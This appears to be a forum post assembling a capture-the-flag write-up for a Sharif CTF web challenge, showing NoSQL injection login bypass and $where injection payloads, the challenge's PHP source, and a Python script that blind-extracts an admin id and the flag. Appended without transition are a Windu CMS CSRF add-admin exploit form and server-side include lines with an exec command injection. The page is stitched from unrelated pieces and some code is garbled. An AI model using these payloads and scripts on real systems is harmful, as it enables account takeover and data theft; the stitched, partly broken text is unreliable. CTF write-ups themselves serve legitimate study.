Home » Exploit
Quote:login and find the flag
http://ctf.sharif.edu:25489
Quote:# exiftool favicon.png
...
File Name : favicon.png
Directory : .
File Size : 2.6 kB
File Modification : 2014:09:23 12:59:18+02:00
File Permissions : rw-r--r--
File Type : PNG
MIME Type : image/png
...
Thumb URI : file:///Users/alz/Developer/git/pictonic/assets/svgs/3e91140ac1bfb9903b91c1b0ca092167.svg
...
Quote:$collection->find(array(
"username" = $_GET['username'],
"passwd" = $_GET['passwd']
));
Quote:mysql_query("SELECT * FROM collection
WHERE username=" . $_GET['username'] . ",
AND passwd=" . $_GET['passwd'])
Quote:$collection->find(array
"username" => "admin",
"passwd" => array("$ne" = 1)
));
SELECT * FROM collection
WHERE username="admin",
AND passwd!=1Quote:Code:username=admin&password[$ne]=1&captcha=AXBYCZ
Quote:Code:<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:03 AM
*/
session_start();
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$username = $_POST['username'];
$password = $_POST['password'];
$q = array(
'username' => $username,
'password' => $password
);
include 'Captcha.php';
$v = Captcha::validate($_POST['captcha']);
if ($v) {
$_SESSION['time'] = intval(time() / 60);
$_SESSION['count'] = 25;
}else{
die('invalid captcha');
}
$user = $users_col->findOne($q);
if(is_null($user)){
#header("Location: login-failed.html");
die('invalid username or password');
}else{
$_SESSION['id'] = $user['_id']->{'$id'};
header("Location: panel.php");
die();
}
Quote:Code:$q = array(
'username' => $username,
'password' => $password
);
$user = $users_col->findOne($q);
Quote:Code:$collection->find(array(
"username" => $_GET['username'],
"passwd" => $_GET['passwd']
));
Quote:Code:<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:00 AM
*/
function generateRandomString($length = 10)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, strlen($characters) - 1)];
}
return $randomString;
}
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$flag_col = $db->flag;
$user = $users_col->findOne(array('username' => 'admin'));
$flag = $flag_col->findOne();
// old codes
//$staffs = array('gholi','bobak','bijan','arash');
//
//foreach($staffs as $staff){
// $users_col->insert(array(
// 'username' => $staff,
// 'role'=>'staff',
// 'password' => generateRandomString(20),
// ));
//}
//$visitors = array('noone','bob','john','alice');
//
//foreach($visitors as $visitor){
// $users_col->insert(array(
// 'username' => $visitor,
// 'role'=>'visitor',
// 'password' => generateRandomString(10),
// ));
//}
if (is_null($user)) {
$users_col->insert(array(
'username' => 'admin',
'role'=>'admin',
'password' => generateRandomString(30),
));
}
if (is_null($flag)) {
$flag_col->insert(array(
'flag' => generateRandomString(30),
));
}
?>
Quote:Code:<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:25 AM
*/
session_start();
if (is_null($_SESSION['id'])) {
header("Location: index.html");
die();
}
$ajax = false;
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) AND strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
$ajax = true;
}
if (!$ajax) {
die();
}
$T = 60;
$N = 20;
$t = intval(time() / $T);
if ($_SESSION['time'] < $t) {
$_SESSION['time'] = intval(time() / $T);
$_SESSION['count'] = $N;
} else {
if ($_SESSION['count'] <= 0) {
header('Content-Type: application/json');
echo json_encode(array("You are so fast. Please slow down. And wait for one minute."));
die();
}
$_SESSION['count'] = $_SESSION['count'] - 1;
}
$q = '';
if (isset($_GET['q'])) {
$q = $_GET['q'];
}
if ($q == 'users') {
$role = $_GET['role'];
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$users = $users_col->find(array(
'$where' => "this.role == '$role'"
));
$names = array();
foreach ($users as $user) {
$names[] = $user['username'];
}
header('Content-Type: application/json');
echo json_encode($names);
}
if ($q == 'flag') {
$id = $_GET['id'];
$m = new MongoClient();
$db = $m->ctf5;
$flag_col = $db->flag;
$flag = $flag_col->findOne(array('_id' => new MongoId($id)));
var_dump($flag);
}
?>
api.php?q=flag&id=Quote:Code:<?php
if ($q == 'users') {
$role = $_GET['role'];
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$users = $users_col->find(array(
'$where' => "this.role == '$role'"
));
$names = array();
foreach ($users as $user) {
$names[] = $user['username'];
}
header('Content-Type: application/json');
echo json_encode($names);
}
?>
Quote:api.php?q=user&role=admin’ && (this._id.str[x]==’Y’) && ‘1’==’1
Quote:Code:#!/usr/bin/python
import urllib
import requests
import time
baseUrl = "http://ctf.sharif.edu:25489/api.php?q=users&role="
headers = {'X-Requested-With': 'XMLHttpRequest'}
cookies = dict(PHPSESSID='amuedn0ra3fhj0diatdb4kkkt1')
admin_id = ''
# Guessing admin id
for c in range(0, 24):
print("[*] Guessing character "+str(c + 1))
for x in range(0x10):
letter = format(x,'x')
query = "admin' && (this._id.str[" + str(c) + "]=='" + letter + "') && '1'=='1"
url = baseUrl + urllib.quote_plus(query)
response = requests.get(url, headers = headers, cookies=cookies)
if len(response.text)==9:
admin_id += format(x, 'x')
print(" + Admin id guessed: " + admin_id)
print("")
break
time.sleep(1)
# Getting the flag
print("[*] Go for the flag!")
flag_id = format(int(admin_id, 16) + 1, 'x')
url = "http://ctf.sharif.edu:25489/api.php?q=flag&id="+flag_id
response = requests.get(url, headers = headers, cookies=cookies)
print response.textCode:# ./sharif14_pwnit.py
[*] Guessing character 1
+ Admin id guessed: 5
[*] Guessing character 2
+ Admin id guessed: 53
[...]
[*] Guessing character 23
+ Admin id guessed: 53fadd3d7137a495319e10f
[*] Guessing character 24
+ Admin id guessed: 53fadd3d7137a495319e10f3
[*] Go for the flag!
array(2) {
["_id"]=>
object(MongoId)#7 (1) {
["$id"]=>
string(24) "53fadd3d7137a495319e10f4"
}
["flag"]=>
string(30) "9fmTOOdbm1A76o40Bb9N3wpqvozdJI"
}
<!--
Windu CMS 2.2 CSRF Add Admin Exploit
Vendor: Adam Czajkowski
Product web page: http://www.windu.org
Affected version: 2.2 rev 1430
Summary: Windu CMS is a simple, lightweight and fun-to-use
website content management software.
Desc: Windu CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.
User type:
value 17 - Admin Main (form_key = addUserSystem)
value 9 - Administrator (form_key = addUserSystem)
value 18 - Content (form_key = addUserSystem)
value 19 - Editor (form_key = addUserSystem)
value 14 - Page User (form_key = addUserPage)
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.7
MySQL 5.5.25a
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5149
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5149.php
21.07.2013
-->
<html>
<head>
<title>Windu CMS 2.2 CSRF Add Admin Exploit</title>
</head>
<body><center><br />
<form method="POST" action="http://localhost/winducms/admin/users/?mn=admin.message.error">
<input type="hidden" name="type" value="9" />
<input type="hidden" name="email" value="evil@hacker.net" />
<input type="hidden" name="password" value="0bl1viON" />
<input type="hidden" name="passwordCompare" value="0bl1viON" />
<input type="hidden" name="username" value="hax0r" />
<input type="hidden" name="name" value="XSRF" />
<input type="hidden" name="surname" value="PoC" />
<input type="hidden" name="form_key" value="addUserSystem" />
<input type="submit" value="Forge!" />
</form>
</body>
</html>
<? include "file.html"; ?><!-- #include virtual="file.html" --><!-- #exec cmd="ls -A" -->
soalnya dari bahasa ingriss ane translate manual :v .